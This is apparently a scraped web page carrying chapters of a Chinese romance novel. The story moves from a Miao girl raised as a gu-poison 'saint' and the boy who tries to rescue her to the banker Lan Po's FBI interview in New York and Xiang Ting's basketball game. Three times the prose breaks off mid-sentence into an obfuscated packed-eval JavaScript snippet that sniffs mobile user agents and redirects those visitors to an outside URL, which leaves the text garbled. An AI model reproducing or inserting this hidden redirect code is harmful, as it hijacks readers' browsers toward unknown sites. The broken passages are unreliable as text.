少女娇声笑道:“莫非你是更疆土地?莫非你是姜央龙公?你是诸葛孔明转世,还是托塔天王下凡?哦,那你一定就是小蚩爷。” “我渴了喝泉水,饿了就找野果果吃。”男孩说。他指甲缝里全是清纯的草木和泥土的气味,果子大多数时候不够吃,就得挖野菜。 少女想,可重中之重的问题,他又是怎么找得到自己的? 隔着厚重的石墙和潺潺的水声,男孩小心地说:“你不是弄丢了一块手帕?” 苗族锡绣上那些图案符号,其实就是苗族远古的象形文字。比如手帕上一个指甲盖大的格子,“×”是鱼花,表示鱼鳞、水、田之义,“∨”是牛鞍花,“√”叫秤钩花,“>”为屋梁,表示居住的房子;“△”称为山,表示连绵起伏的山峦,“Ⅲ”是代表三条河,分别指长江、黄河、清水江,意思是苗族祖先涉过“三条江”,告诫后世子孙不要忘记祖辈之路……放在一块看,便可以组成一幅舆图,竟在重山叠峦中指出了苗寨的位置。 这是因为雍正年间,清政府以在雷公山地区实行“改土归流”为名,对苗疆大势用兵,力图武力征服。九大苗寨尽毁,寨民被迫流亡他乡。那时一块只有族人能够读懂的手帕,指引了他们向着新的家园迁徙,这一传统沿袭至今。 男孩听她说起过个别符号的意义,当时少女只是模模糊糊地一带而过。黔东大地又素来三里不同风,十里不同俗,男孩向老人家打听也是枉然。所以流浪了这许久,无非是盲人摸象的尝试,做了许许多多的无用功。今夜趁着满寨都醉了,这才潜了进来重逢。 少女穿好了衣服,坐在岸上踢着水,脚踝上的一串银铃碰撞。苗家说,无银无花,不成姑娘。银子打铸成的花永不凋谢。 少女的脸侧过来,问:“那你呢,找我做什么?” “不做什么,就是看看你好不好。”男孩一笑起来就如驱散冬日阴霾的太阳。 “我好着呢。”少女骄横地把脸一扬,“你可以走了。” “我、我还走不了,姐姐。”男孩有些窘迫,涨红了脸。 男孩自制了弹弓和小陷阱,有时捕到兔儿鸡儿的,就到集市上卖了换钱。市场上遍地都是人贩子,可是见男孩聪明勇敢,心思极其活络,疑似灵童转世,无父无母,克死全家老少,确诊天煞孤星,大家都不敢碰。男孩只为了买一张北上回家的长途汽车票,目前攒了小半张。 “别叫我姐姐!走开,不要烦我!” 少女披上了缀满珠花的轻纱,走下了温泉池,径直往寨子里走去。男孩跟在她后边,少女转过身来教训他,不要当跟屁虫,男孩就垂着头听,一个劲乖乖地嗯嗯。等她的气撒完了,男孩就又跟上去。少女气得又回头,男孩把一个破破的布兜背在身前,从怀里掏出一个擦得干干净净的苹果,递给姐姐吃。但是走两步路,少女又叫他不要跟上来。这种事路上反反复复发生了好几次。 在寨子里的小巷东拐西走,来到一间大院子前,几个小伙子正帮姑娘把讨来的鸡、鸭、鱼、腌肉装在一辆车上。看样子,这里就是少女的家了。少女却在墙根躲着,就是不肯回去。 姊妹节就是爱情节。这一天里,父母看到外男进来,就知道是来与女儿们对歌酬唱的。男的坐一边,女的坐一边,隔着火塘。这样的活动通宵达旦,如果女方对不下去了,姑娘的母亲或嫂子就起床来指导姑娘们对下去,直到天亮小伙子们才会依依不舍地离去。 男孩说:“等我看到你安全到家了,我就自己走了,不会再跟着你的。” 少女说:“小孩子懂什么?” “我知道的东西可多了,今天是姊妹节,你为什么不去唱歌呢?” 少女靠着墙,垂下头:“我太丑了。” 屋里吵得没个完,隔壁的小孩,听到歌声就走过来看热闹,把门口围得严严实实的。有时大概听得出歌的内容,觉得羞人,就笑出声来。男女青年全不理会,照唱。 也不知道整个寨子唱到了什么时候,忽然间天完完全全地黑了下来,原来月亮落到山的背后去了。田埂看不见了,树枝看不清了,蕉叶也变得黑乎乎一片,村舍隐去了,山峰和黑夜混在一起没有轮廓了,少女冷冷清清地走了。 一大一小两个孩子走在小道上,谁都没有说话。走累了,就坐在玉米地里。男孩像想了很久,才开口:“姐姐,你不丑,真的。” “你都没有见过我。”少女轻轻笑了。自从见面之初,她便戴着纯白的面纱,未曾示人。 “我……”男孩摸摸自己的头,结结巴巴地说,“那你愿意让我看看吗?姐姐,可以吗?” “可以是可以,但是你见得着么,你现在连自己的鼻子都没法看清楚哦?” 四下伸手不见五指。可是男孩说:“你在这里等我!” 不一会,男孩气喘吁吁地跑了回来。他把双手向前一伸,展开掌心,一团流萤便照亮了一小块夜幕。 博得少女一笑。她也信守诺言,昂起下巴,示意男孩来帮她摘下面纱。 萤火虫在草丛间浮荡,男孩小心地像剥开一个藏在花蕊里的姑娘。 映入眼帘的却是一张貌似鬼母的脸。那满脸一块一块的大红坨、大青斑,简直像是阴曹地府刚刚爬上来的。 少女见怪不怪:“说话呀,吓坏你了?” 男孩拨浪鼓似得不停摇头。他眼里姐姐的面孔和心灵都美得无法企及,可是此时只觉莫名地心里难受,说不出来话罢了。 少女说:“要不是我太丑了,为什么全寨子的人、阿爸和阿乃都叫我蒙着脸呢?” 男孩铿锵有力地说:“不是,绝对不是!古代突厥人、波斯人、西方的修女、意大利的蒙娜丽莎,也是这样的。” “你读的书不少呀。那你再说说,不丑,什么才叫不丑呢?” 男孩张口就说很美,少女便说他扯谎,这可难住了男孩。红着脸期期艾艾,想了好半天,男孩说:“如果你的脚小一点,皇帝肯定会把你选进宫!” 少女怔了一下,立刻意识到了他对于脚大脚小的判断从何而来,抄起旁边地上的玉米棒子照头就是一敲:“小流氓,你果然还是偷看了!” 男孩百口莫辩,只能一个劲:“对不起、姐姐对不起……!” 继续漫无目的地散步。走过了山的这头,到了那头,迎面遇到一队苗家青年。他们弹着月琴,吹着苗笛、洞箫一路而去。琴音、箫音、笛音,震动四野,山鸟扑扑地飞了出来。走到心仪的姑娘所在的村寨,又引得一片狗吠声。听到狗叫声,渐渐又听到琴箫声,寨里的姑娘就知道有小伙子来了,便出门,约上要好的姐妹,整整齐齐地出寨口迎接了。 “这我也知道,这个叫‘踩月亮’。”男孩说。显然为了解开手帕的秘密,他已经是个苗族万事通了。 “看你厉害的。那我再考考你,你来猜一猜,我叫什么名字?” 少女的名字在当地如雷贯耳,路边的苗人都向她投来朝圣的眼光。俨然她是部落里的一个女神,一个图腾般的存在。 她给了提示:“我的姓,在我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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两人坐到深夜,少女说她要回去了,她在温泉那有一间小屋子。她揪了一朵花,特别郑重地,将那些花瓣一片片地撕下来。一片两片三片……数完了是单数,又在心里矛来盾去了好一会,最后扔下一句:“来不来随你的便。” 躺在一张床上,男孩两只手枕着脑袋,一直不闭上眼。少女拿了床头一根骨簪似得东西:“再不睡就扎哭你。” 床底下有很多瓶瓶罐罐,用深紫色的药水泡着什么。男孩低头看了看那尖锥,更加确信自己的猜想:“姐姐,你是蛊苗吗?” “问这个做什么?臭小鬼。”少女一惊。 “没什么。那你会给我下蛊吗?” “不好说哦。” “你都会下什么蛊?” “风雨蛊、督运蛊、延寿蛊、蔑片蛊、石头蛊、金蚕蛊……哦,还有情花蛊,情蛊,也就是恨蛊。” “情蛊就是恨蛊?为什么啊?”男孩摸不着头脑。 “长大你就懂了!哎呀,我想好了,我要你对我百依百顺,我要给你种子母蛊。” “什么意思?”男孩按照字面意思理解,“是儿子和妈妈吗?” “噗,笨蛋,你就这么怕我炼蛊吗?会不会以后逼着我喝狗血?” “不怕,不会的。红苗穿红衣服,花苗穿花裙子,蛊苗要炼蛊,爱斯基摩人要生活在北极,都是天经地义的啊。说不好,灵降这东西玄之又玄,就我感觉,有点像无线电。” “爱斯基摩人?无线电?” 少女生于斯长于斯,从未踏出过苗疆一步。这里的一切仿佛都还是明清时候的样子,像块屹立大山之间的活化石。与男孩邂逅的那一天,是她生平第一次见到火车这个令人生畏的庞然大物从身边呼啸而过。而男孩北京的家里,拥有那个时代的珍品——袖珍收音机,暗地里偷听境外“敌台”短波,通过“翻墙”了解到精彩纷呈的外部世界。于是男孩将那些新奇的事情娓娓道来,少女听得津津有味,东方露出鱼肚白的时候,两个孩子都还没有困意。 在每一个有月亮可以踩的良夜,泉中的少女便踏起水珠可以遮月的舞蹈。玉兔西坠,金乌东升,时光如梭,男孩回京的日子却一拖再拖。只因原本的目标是赚够一张汽车票,现在变成了两张火车票。 得知这个耸人听闻的单方面决定后,少女直言他疯掉了,觉得他稚气的脸上一脸的混小子气。 少女说:“我跟你走?凭什么啊?我是苗王最疼的小女儿,千挑万选出来的活神仙。等我长大些,我就会坐在宗祠里,四面八方来的人都得拜我。我现在可风光了!” 区区几年,男孩就大变了样,他干事一狠起来就不爱说话。少女越来越疑心他是真喝过狼奶、吃过虎肉的。男孩只是说:“你不是什么圣女,别再骗你自己了。” 这话一出,少女一副如梦初醒的神色,大而无神的眼睛望着他。 男孩平静道:“所谓的圣女,难道就是让那些蛊苗无时无刻不在用你的身体炼蛊,让那些蛊虫在你肚子里打来打去,你有家都回不了,就只能天天泡在泉水里,这就是你们说的圣女吗?” 那口极负盛名的温泉,之所以无人往来,是因为那就是蛊池。有一次少女在那“沐浴”着睡着了,男孩去叫她来吃饭,便见一水蛇昂首迎面游过来,只好行注目礼待它从脖子旁游过,水面以上愣是没敢动。 女孩把他往门外推:“我不想跟你解释了,我不要再见到你了!” 可是男孩突然开始猛咳,口鼻间不断冒出黑红色的鲜血、黏黏的东西。少女急忙将他的袖子翻上去,只见胳膊上青红交错,烂肉泥泞,和少女脸上的样子一般无二,都是中蛊日久的结果。 少女忽然明白了,为什么男孩的精神越来越不济,而蛊池里的那些毒虫变得越来越好相与了。族人每三天送来一瓮满满的五毒,三天之后来验收罐子,要那手臂粗的蛇牙尖再也挤不出半滴毒汁,要那蟾蜍的皮肤干涸了经久不脆如同雪纸,要那蝎子油黑的外壳褪成了无暇的白玉,要那蜈蚣身上的毒刺变得像叶尖的露珠一样的清澈、水晶琉璃盏般的透明,要那壁虎的尾巴,即使断了也只散发着花月的芬芳。 男孩紧紧握着她的手,哽咽着,发高烧,话语不清楚,翻来覆去地说,跟我走,我要带你走。少女泣不成声,心就像在水中泡软的纸。 就在这时,送蛊的人来了。少女忙起身去相迎,还要收拾一番跟那族人回寨子,因为大祀典就在这两天。可是又怕男孩性急生事,便在药汤里撒了些石菖蒲的粉,想让男孩好好睡上几天。男孩不肯喝药,还说:“后天,我在桥下等你,我会在枫香树顶挂上花带。姐姐,你不来,我不走。” 少女却说:“我不可能离开苗疆,手帕,你带着走吧,有缘你再来找我。” 少女还说:“我们这的事你一点都不懂,别异想天开了。” 其实,种种闻之色变的陋习,男孩说得大差不差。他唯一没料到,圣女根本不是女孩子。苗疆蛊术传女不传男,传女儿不传媳妇。而这一代蛊苗的族长一门五子,万不幸皆为男儿,盼姑娘盼到第六胎,实在顶不住九大寨的压力,族长只能宣称天降祥瑞,喜引凤凰归巢,添得金枝玉叶,全族遂奉为圣女。圣女?祭品罢了。 少女给他灌了药就出门去,谁想这一别竟成永诀。 翌日,几个男人把少女像牵牛一样拉在祭坪上转着圈,族里的神婆用素银的器皿盛了清水,顺着少女的发丝一点点倒了下来。身后戴着银项圈的族长父亲,把磨得锃亮的长刀竖在身后。偌大的苗寨静得落针可闻,苗民无不感动落泪,整个画面犹如美好不过的古画。 男孩说,明天我带你走,可今天就是少女成年,把自己献给神,殉道的日子。 刑场上的银刀徐徐却不落下,为什么? 极度的安静,能很大声听到自己心跳,甚至血液流动的声音,相当清晰。 少女睁开眼。目睹红彤彤的子弹自枪膛中射出,它们绕圈圈缓缓向前。缓慢得仿佛在犹豫,似乎有点不忍心,好像半路上突然不知道怎么办,似乎想转个弯,或者想往天上飞一飞,又或者想往地里钻一钻,它像在等待祭坛聚集的成千上万的苗民找到藏身之处,然后才怜恤地光速穿梭,宛如一根看不见的丝线从北京士兵的枪口拉出,正操纵着它们的去向。 父亲的头颅当啷一声响,震动了青天。 百年与世隔绝的苗寨,一夜之间澌灭了。 少女傻傻地站在那里。一个副官毕恭毕敬地告诉她,将军接到一纸平/反通知书,今天我们是来给夫人讨个公道,接蒙难的小公子回家的。 落得这个天地诛灭的下场,一切的一切,只因为自己当初,救下了一个不该救的人。 34. 红豆无根种不成 “然后呢?” “然后我就一个人,就这么顺风顺水、无牵无挂地一路逃出来了。可是失魂之人呢,天地虽大,你又能去哪?那位中国将军啊,感激涕零我救了他的小儿子,当然他的不杀之恩是建立在他儿子没完没了地磕着头,不吃不喝跪下来求了一个礼拜的基础上的。总的来说,他最后拗不过,赞助我去了英国,主修经济学。再然后的然后,我就变成了现在这副派头站在你们面前。哎呀,说到有趣的地方来了,后来,为了圆他女儿的出国梦,我顺便娶了她。” 银行最高级经理们的办公室与董事会议室设在同一层楼,蓝珀的办公室镶着温暖蓬松的护壁板,铺着像古代铜器的深栗色阔幅地毯。从这据高临下鸟瞰街景,真叫人眩目惊心。 他走到专供宾主谈话的一角,端起石英玻璃真空咖啡壶,给自己倒上一杯。他身着政治家兼银行家的标志性装束,没有什么亮点可言的黑丝绒西装,内搭一件不可或缺的马甲,马甲正面挂一条细银表链。 难得早上班的一天,蓝珀刚刚坐下来,两名联邦调查员便上了门。昨夜的宴会厅爆炸一事,尚未被定性为无所用心的恐怖活动之前,FBI对每一位与会宾客进行了走访。尤其是一月前,蓝珀的车载香薰还被人置换成了有毒气体,探员便更加谨慎,首先就问他有没有仇家,让他把旅居三国的经历都详加以告,以便判断需不需要进行警戒和保护。 探员掏出一只烟斗,点着了火,可是才抽了两口,蓝珀便满不在乎地说完了。 多年前与那个男孩的恩恩怨怨,被他云淡风轻就好像玩一样,简化成了:我在故乡的生活幸福快乐,每天喜气洋洋。虽然做了天大的错事,但是我至今毫无悔过之心,并无半点可惜。因为要不是那一日降下的天罚,苦难只会延续不会改变,这一切上帝已经打定主意了;那帮人活到现代也必会在猎巫行动中死掉,没错,当然里头第一个包括我,即便是今天,银行家与吸血蝙蝠有何不同?可是当年那场险些要了他的命的终极献祭,他却描绘得仿佛等待着他们九大苗寨的,不只是一场圣洁而伟大的狂欢,更是一个即将涅槃的梵蒂冈。而自己,更是得到过上天恩宠的人,侍奉神的仆人。 这个颠倒错乱的叙事,先按下不表。探员翻看着资料,有一件事让他们深深疑惑:“你来到美国赚到的第一桶金,你用它买下了密苏里州一片方圆300英亩森林。” 苗人不拜佛道,他们信奉自然。一切皆取之自然,归依自然,他们是真正的大自然之子。孩子降生,植树一棵;终老时,以树为椁,葬于其下,上面又植一棵新树。苗族是不垒坟的,苗人的生命就在这棵小树上得到赓续。行走在苗疆是看不到一座坟墓的,只能看到连绵不绝、苍天护佑的古树,一棵棵古树其实就是一个个祖先的灵魂所寄。 蓝珀说:“真的吗?我是环保主义者,为地球做些绿色的小事。” 探员再想深挖那段往事,毕竟跨国寻仇虽然很疯狂,但绝对构成动机。蓝珀直言这太隐私,你们是想逼迫我从这几十层高的写字楼里跳出去。似乎宁愿聊聊他的婚姻。连美国人都不能理解,蓝珀对终身大事如此儿戏,蓝珀就给他们灌输中国传统美德,滴水恩涌泉报,大蛇含明珠,黄雀衔白环云云。 探员再次质疑,蓝珀风平浪静,说道,那等我死的那天再考虑这个闪婚的对与错吧,因为如果相信死后的世界灵魂能够相遇,死个明白到下面也少些误会。终归谁人不是出生就一步一步朝墓穴走去,奔着流血丧命去的。大家都只是浮游动物,有些鬼装得人模人样一些,有些装得漏洞百出而已。 这时候的探员,已经不止一次隐隐感觉到当事人有什么心理隐疾,确实有精神问题,但是没那么多。可这种感觉也只持续了一两秒钟,蓝珀便转瞬即逝地对着他们露了一个笑容。 沙曼莎端进来一个装着无醇酒的细颈瓶,蓝珀往玻璃杯里斟酒,举手投足间都是那样轻松写意,与高楼下面那条著名的亿万富翁街很是相衬。没有丁点巴望这场煎熬快点了结的样子。 又有人敲门了。白谟玺来找他吃午饭,在楼下等了蓝珀很久,很烦狗仔,就上来了。 白谟玺看了看房间里的阵仗,明知故问:“在忙些什么呢?有没有想好吃什么?” 蓝珀说:“麻烦来一桶世界上最大盒的爆米花,这两位先生对我的故事意犹未尽。” 探员闻言,起了身:“在我们结束谈话之前,还有一个细节需要澄清。你的孩子是否计划出生于美国土地上?拥有美国国籍?若是如此,即便他将来回到中国,我们将与大使馆协作,确保他的安全和权益得到全面保护。” 无稽之谈,白谟玺抢答:“开玩笑。” 蓝珀在用茶点,熙熙天地一闲人,像是早餐可以吃上几小时的人,笑而不语。 他这样子,一下把白谟玺定住了:“Lanny,你自己说。” 蓝珀对着他,莞然一笑:“我说原谅是高级的爱情。” 晴天霹雳,白谟玺看他简直疯得不成样子了!此时此地这个珠胎暗结准爸爸的身份,首先也把沙曼莎搞了个彻头彻尾的目瞪口呆。她感觉到,其他人的反应不遑多让,扭头果然撞上白谟玺微微变形的脸,仿佛这位才是在整个事件中蒙受了不白之冤的苦主。 探员见问不出结果,也不再打扰。他们走后,沙曼莎也立刻屏住呼吸提着气儿惊魂未定而去。白谟玺不存在气得在人家上班的地方丢份儿的可能,只是他决定刚刚那个腹中子的问题有必要上升一下子了。 白谟玺压着声音:“走吧。” 蓝珀却说:“真是遗憾,我有约了。谟玺,能让我有点私密时间吗?” “你当然有说不的权利。但是眼下,必须关起门来干点私事。” 白谟玺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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有些文件蓝珀是不必要签的,给他拿过来,他也困惑,但他还是签了。 签乏了,莫名想到早上出门的时候,项廷也不知道是酒没醒,还是说梦话,总之有点不是灵长类。蓝珀摘下了那辟邪禳解、抵抗梦魇的满身银饰,正正经经对着镜子打领带的时候,项廷来了一句:“不可以,(你穿得)太露了。”蓝珀:“嫌脑袋漏出来了?”项廷无语了半晌,仿佛在思考当中,好好回忆昨晚做了啥蠢事。蓝珀说:“想什么呢?这么快就忘了?讨打。”夜里战天斗地的项廷,天一亮竟然毫无还手回嘴之力,把被子扯高蒙住头。蓝珀看着那团被子,这一团写实的烦恼,真该踹上一脚送他去九霄云外。蓝珀忽然就有点恨他,隔着厚厚的鸭绒找准位置,卡住他的脖子又摁又掐:“打死你,让你身上不是青一块紫一块,是东一块西一块。”在项廷胸前实打实地捣了一拳,又说:“狗崽子,闯了祸,就想这么躲一辈子吗?”项廷一直装死,很安详。倒是蓝珀,被项廷的喉结硌得手疼。 “你到底和谁去?”白谟玺又问一次,打断了蓝珀的走神。 蓝珀的恨是如此明灭不定,就连自己也不知所以地捎了一句:“我儿子。” 35. 流香涨腻满晴川 项廷去了银行,拿着姐夫给的支票,取钱。因为感觉此事没那么简单,不知其中是否有诈,所以只取了一万美金,还热乎的,赶紧送到唐人街救急去了。 老赵什么时候打过这么富裕的仗,吓得贴到砖墙上。怪不得最近传言,项廷和墨西哥黑/帮走得很近! 项廷连忙解释:“我管一个朋友借的。” 然后他再补充:“还有九万。” 老赵刚从墙上下来,急急后撤数步。项廷把钱往前递了递,老赵上前一把抓住项廷的手臂,不由分说要把他推出诊所去。 项廷说:“师傅你放心,我真的没走歪路!跟你担保,真不是我干坏事了,我撒谎孙子!” 谁信啊?今年开春,北京第二批商品房公开发售,房交所挂了三百多套房源。其中当属东直门外十字坡的最贵,1900一平,人民币。 涉案金额太惊悚,一时项廷浑身是嘴也说不清。想报出蓝珀的名号来让老赵信服,可蓝珀说了,不许,少啰嗦,不该讲的话不要乱讲,哪天横尸街头也不一定。一开始找他借钱,蓝珀说我是银行吗,你来抢我?后来他借了钱,蓝珀说我是真皮钱包,没有姓名。姐夫的气质很闪烁,有时他身上散发那种曼哈顿人特有的冷漠,有时他嘴巴稍抿,就算不做任何表情,看着你也有一种挑衅,乃至妩媚的感觉。 师徒两人推搡到了诊所门口,忽然听到一阵由远及近的笑。 老板娘王熙凤似得来了,一眼就看穿了这是哪一出,笑道:“这人啊,得多交交朋友。要是混到这个份儿上,就这么坐在这儿干着急有什么用,还非要憋着劲和徒弟作对,那叫什么,那叫作自绝于人民咯!” 把老赵说得崩溃着收下了,叫老婆出来,一块把钱护送到美国医院去。 两口子一走,项廷说:“秦姐,谢你信我。” 秦凤英笑得合不拢嘴:“姐咋能不信你,满身的花酒味儿要是还说没钱,可省省吧!” 蓝珀走路是步步生莲,蓝珀呆了片刻的地方便春色满园。导致项廷身上环绕着一种娇痴的女儿香,冲了一遍澡,还胶水一样黏在他的每一根头发上。 秦凤英点着鼻子对他指指点点地笑。项廷匆匆要走,秦凤英把他掰回来,又拷问,又取笑。很快项廷做的慈善好事传千里,大家都来了,看一看唐人街新晋的财神爷。远远的听到先来的人都在笑,秦凤英笑得最响,后来的人也就跟着笑,诊所内外充满了快活的空气。 其实大伙多半在为老赵高兴,也表扬项廷,有事你真能扛,井冈山上有大虫,你小子也打得。但是这一帮婶子娘姨姥姥把项廷围得水泄不通,各路方言如同鸟语,项廷一句也听不懂。而情窦初开的少男的心中又总有一些塌方时刻,她们无疑催化了一场史无前例的重大事故的发生。 昨晚上,蓝珀唱完儿歌,项廷差不多也就昏过去了。两瓶二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398222|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锅头是给他喝断片了,可也不至于次日对于耍酒疯的事一片空白。这是他做梦都要尴尬得醒了再想一遍的程度。项廷感到精神上被拆了家。 项廷从三姑六婆堆里当了逃兵。突破包围圈最外面一层的时候,秦凤英的一个富婆姊妹,正好在说身边最近很不识相的小白脸,点评道:“要我说啊,金山银山,还不如乖乖当她的小三!” 这句话,北京话。 项廷开着一辆钢铁巨兽般的大货车,去码头送东西。短短十几分钟的路程,危险驾驶数次,他一只手负责抓方向盘,一只手负责抓头。一方面心里乱腾腾的,几分狂躁,蓝珀,他现在漂浮在空中的大脸,无形而袭人,很容易引起项廷的暴力倾向。一方面项廷想把那个香散出去。可是他不知道蓝珀的香也是分层次的,后调更为浓郁。 到了码头,在下毛毛雨。项廷罕见地没有下去帮忙卸货,坐在海边的长椅上,吹风。香淡了,但风吹醒了他昨宵的种种不堪记忆。高而俏挺的鼻子,流丽紧致的脸蛋,如云的乌发一搦的纤腰,你为何从油画里跳出来?他不想承认自己是块牛皮糖、苍耳球,粘着这样子的姐夫在他身上不愿下来,可那难道又是姐夫主动把他抱着像小宝宝一样摇? 电话响了,来电显示两个字。风停了,雨住了,可无风仍脉脉,不雨亦潇潇。项廷云游似得望着屏幕,他从此刻确信,姐夫会下蛊,不用露两手,他的名字已然是最短的咒。 36. 恍惚变化春空云 蓝珀的电话,项廷并不想接。 姐夫找他,包没好事,这个人的恶趣味已经不需要再进一步实验验证了。又爱挑刺儿,他就和千金万金的小姐一样,身娇肉贵,吃不得半点苦头,你但凡有一点惹得他不高兴,他立刻能想到把人怎么从地球上消失掉。烂命一条,死就死了。 而且,哪怕蓝珀那么大款,呵一口气就是十万块,仿佛因为菩萨不住相所以他才行走尘世非男非女。项廷潜意识里,却还觉得他小气,可能因为姐夫长得太精致所以不大气。恐怕一接起来,姐夫第一句话肯定是,滚哪去了?吃里扒外的狗东西。他骂自己是狗,而且特意强调一下臭乎乎的次数,一双手掰来掰去都数不过来。要是没有忍辱偷生着哄好他,那么这一场急头白脸的慈善就不会再有后续。 最重要的是,项廷很确信,听到姐夫的声音,自己憋着的一口气马上就要发了。 是的,有疯就发,只争朝夕。 于是铃声就在项廷的目光里搁浅了。 简而言之,一会就好,项廷想躲躲。 他像个无家可归的流浪汉,躺在码头的长椅上,盖着报纸午睡了一会。岂知梦里更完蛋。惊恐醒来,纽约时报都仿佛变成了花花公子。破案了,蓝珀不雌不雄,因为他本质上就是一本伪人的色/情读物。 望着蓝天白云,好一会他也无法消弭自我厌恶的情节,停不下来。 一休息,身体里的活力因子就满得要爆炸,不问后果就是想干翻整个世界。做完刚才那个短短只有几个镜头的梦,他愈发躁动了。 项廷绕着海边跑步,想释放掉不良的精力,消停点。海滨耸立着纽约最大的谷仓、举世闻名的啤酒厂、工坊,自由女神头戴象征七大洲与七大海洋的冠冕,向全世界宣示着美国的霸主地位。纽约与北京是如此的不同,叫人简直无法把它们在脑海里拼接到一起。两个同属一星球的国家,对比之强烈、反差之巨大,让人质疑——即便拥有电话、电视、卫星直播等等现代通信——它们是否真能实现有效沟通。项廷加着速奔跑,反而更雄心万丈。美国人嫌弃他们身上馊掉的中国味,他却坚信不仅一日实现中华复兴,还要你西方列强万里同风。这些寸土尺金的好楼盘,我迟早得来圈地运动,我的,都是我的。 下午两点多,白希利放学了,邀项廷,要不要来学校社团耍一耍。项廷一口答应。白希利欣喜若狂,赶忙以校董儿子的身份通知学校门卫,接驾,放下电话就去校门口亲自接他。谁知道项廷一路杀入,龙卷风冲毁全美排名第二的霍瑞斯曼高中。白希利问他出发了不,项廷表示已在贵校篮球场多时。 白希利赶到时候,项廷已经杀穿了。纷纷几万人,去者无全生。 白希利在画室招募了一大帮僚机,本准备彰显自己的魅力时刻。白希利还精心地准备了礼物。这学期选了缝纫课,做过一条睡裤,虽说把裆缝错了位置,变成了嘻哈风格的低裆裤,两边的腰对不上,一边露着肚脐,一边垂到大腿,也算是非常珍贵的心意了。 白希利冲进去,想跟项廷说他走错场地了。主教练、球探一起大声喊:“闲杂人等回避!”显然他们捡到宝了。球场如战场,两个中锋抢球,白希利人仰马翻。 白希利被工作人员拖走的过程中,看见项廷绷着脸,一副今天心情不大爽的样子。随着他在场上冲锋,流线型的高个身材一览无余,背心短裤下的四肢矫健修长,发力时跳动的肌肉线条是如此之清晰,大卫也就尔尔了!白希利不通球技,就看到这哥的腿太有力,弹跳能力相当好,他跳起来一记前踢,就像骡马尥蹶子一样能踹飞篮球筐。白希利感到佛光普照。 白希利产生了一点特别的非分之想。不能怪他,每年四五月份,天气转暖,动物进入了交/配的季节。十一年级生和十二年级生的两大舞会——“Semi”和“Prom”都近在眼前,校园里每天都会上演送花送牌堵女孩子的好戏。常规来说,要准备两件东西,一束鲜花和一块写着“愿意跟我去semi/prom”的纸板,跟求婚似的,如果再附上真挚的眼神和低沉的语气,效果拔群。 上个礼拜,学校的才艺表演当天,四对男女在舞台上完成了这套仪式,其中三对都成功了。有个哥们穿了一套花栗鼠装,女孩子一下就扑到他怀里了,全场掌声雷动,那两位淡定地抱着转了个圈,头也不回地携手奔下了后台。另一位穿着超人服装,伸着胳膊被一众好友抬着,从幕布后面飞出来,女生先笑了一阵,也痛快地答应了。 男女搭档是主流,但男生和男生,也不是没有。 比赛中场休息了,白希利拿了一条毛巾、一瓶矿泉水,心情颠簸地向项廷走去。 螳螂捕蝉黄雀在后,白希利没走几步,有人在背后拍了拍他。 一个将近两米的小巨人,穿着绿色的大号球衣,倒戴着棒球帽,帽子上印着“Too Cool for School”:“喂,看到我的英雄表演了吧?怎么样,让未来的NBA明星带你去prom吧!” 白希利用手势做了个隐蔽的战术指示:“小声点!我们分手了。” 来人是白希利的某前男友,叫凯林,即校篮球队的大前锋、队长。白希利热衷于收集各大体育领域的尖子生,眼前的这位更是各个年级公认的校霸。昨天,凯林在走廊上让十个小弟一人捧一个字母,组成白希利的名字,凯林捧着玫瑰站出来问,结果并不喜人。 白希利推开他奔向项廷,一句话没说。爱情真是不需要语言,一切不言而喻了。 下半场比赛开始了。 在两个人的炮弹输送下,项廷一个人打出了一个炮营的效果,进攻端的表现非常抢眼。相比防守就逊色了,因为项廷不大在乎对面的投手今天球感如何,什么准头,毕竟三分球准起来,是真没两分球什么事了。 可是下半场一开始,对面大前锋的嘴,突然臭了起来。 连续三个掩护,凯林都成功地绕开,死死地缠着项廷,不给他有任何喘息的机会:“你很努力,我很抱歉!” 项廷也没停下来,继续着他的跑动,跑得凯林想要打断他的腿,大手笼罩在了项廷的视线前方:“韩国人,你的麻烦来了!” 项廷从三分线外溜底线,跑了一个大圈,骗开了对手。凯林:“该死的,你现在就像个娘们一样在躲来躲去,知道吗?敢不敢持球单打我一个,1v1,像个爷们一样!” 对方持续嘴脏,项廷选择手脏。凯林只感觉背后一股强风袭来,本能挪腚护球,手上却是一空。球,被盗了! 连续命中的第8记3分球进的那一刻,全场响起了低呼声。因为项廷一个人拿了30分,但是总比分整体不敌,大家唏嘘惜败。只有白希利叫出了海豚音。 项廷坐到替补席的位子上,掀起球衣的下摆,擦一把满头的大汗,拧开瓶盖子,仰着头大口喝水。别人满满的肌肉放松之后也是一坨,项廷坐下来弯腰时都一丝赘肉没有。这个画面,实在太刺激白希利的眼球了。如果体育有神,必然是眼前这个男人。 明眼人都知道凯林虽然赢了,刚才的表现却让人想丢臭鸡蛋。表现好就是话语权,这是球场的不二定律。他现在坐着无人问津,球场的明星地位已经易主,大家都聚在项廷这边。白希利无不自豪地介绍:“这是我认的干哥哥,专门为我来的!” 白希利发表大量不实言论。项廷不想回应,全身上下的每个细胞,都还是很不爽。不是输了的问题。本来期待能像在北京那会,打上球之前,总因为篮球场使用权问题而来一场痛快的群架,只要能解瘾怎么干都行。 而且特别热,不要说那一颗颗径直往篮筐里掉的篮球,感觉现在放块铁在项廷的手上,都能立马融化。 